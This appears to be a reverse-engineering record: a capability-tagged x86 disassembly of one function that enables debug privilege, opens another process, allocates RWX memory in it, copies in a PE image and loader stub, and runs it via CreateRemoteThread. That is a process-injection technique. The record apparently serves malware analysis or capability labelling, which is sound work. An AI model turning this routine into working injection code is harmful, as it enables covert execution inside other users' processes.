Function at 0x434290
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4c4080]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push esi
push edi
push eax
push 0x28
push 0xffffffffffffffff
mov dword [ebp - 0x20], 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4342f9
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 1
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x10], 2
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x434566
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x434558
mov esi, dword [ebx + 0x3c]
add esi, ebx
cmp dword [esi], 0x4550
jne 0x434558
mov eax, 0x2000
test word [esi + 0x16], ax
je 0x434558
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x434360
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
jmp 0x434566
push 0x40
push 0x3000
push dword [esi + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x40], eax
test eax, eax
jne 0x434395
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
jmp 0x434566
push 0
push dword [esi + 0x54]
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x43453e
xor eax, eax
mov dword [ebp - 0x3c], 0
cmp ax, word [esi + 6]
jae 0x4343f3
lea ecx, [esi + 0x10c]
mov dword [ebp - 0x44], ecx
mov eax, dword [ecx]
push 0
push dword [ecx - 4]
add eax, ebx
push eax
mov eax, dword [ecx - 8]
add eax, dword [ebp - 0x40]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
inc edx
movzx eax, word [esi + 6]
add ecx, 0x28
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x44], ecx
cmp edx, eax
jb 0x4343c3
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x43453e
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebx + 0x3c]
add ecx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [esi + 0xa0]
add ecx, edx
mov dword [ebp - 0x30], ecx
mov eax, dword [esi + 0x80]
mov esi, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [ebp - 0x28], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.0040b340
add esi, 0x18
sub eax, 0x434060
push eax
push 0x434060
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x3c]
push esi
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
mov dword [ebp - 0x44], esi
test esi, esi
jne 0x4344b7
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push eax
push dword [ebp - 0x3c]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x40]
push edi
call esi
jmp 0x43454f
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0xc], 0
jne 0x4344fe
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x3c]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x40]
push edi
call esi
push dword [ebp - 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x434555
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x8000
push 0
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0044279c
mov esp, ebp
pop ebp
ret 0xc
push 0x8000
push 0
push dword [ebp - 0x40]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 8]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044279c
mov esp, ebp
pop ebp
ret 0xc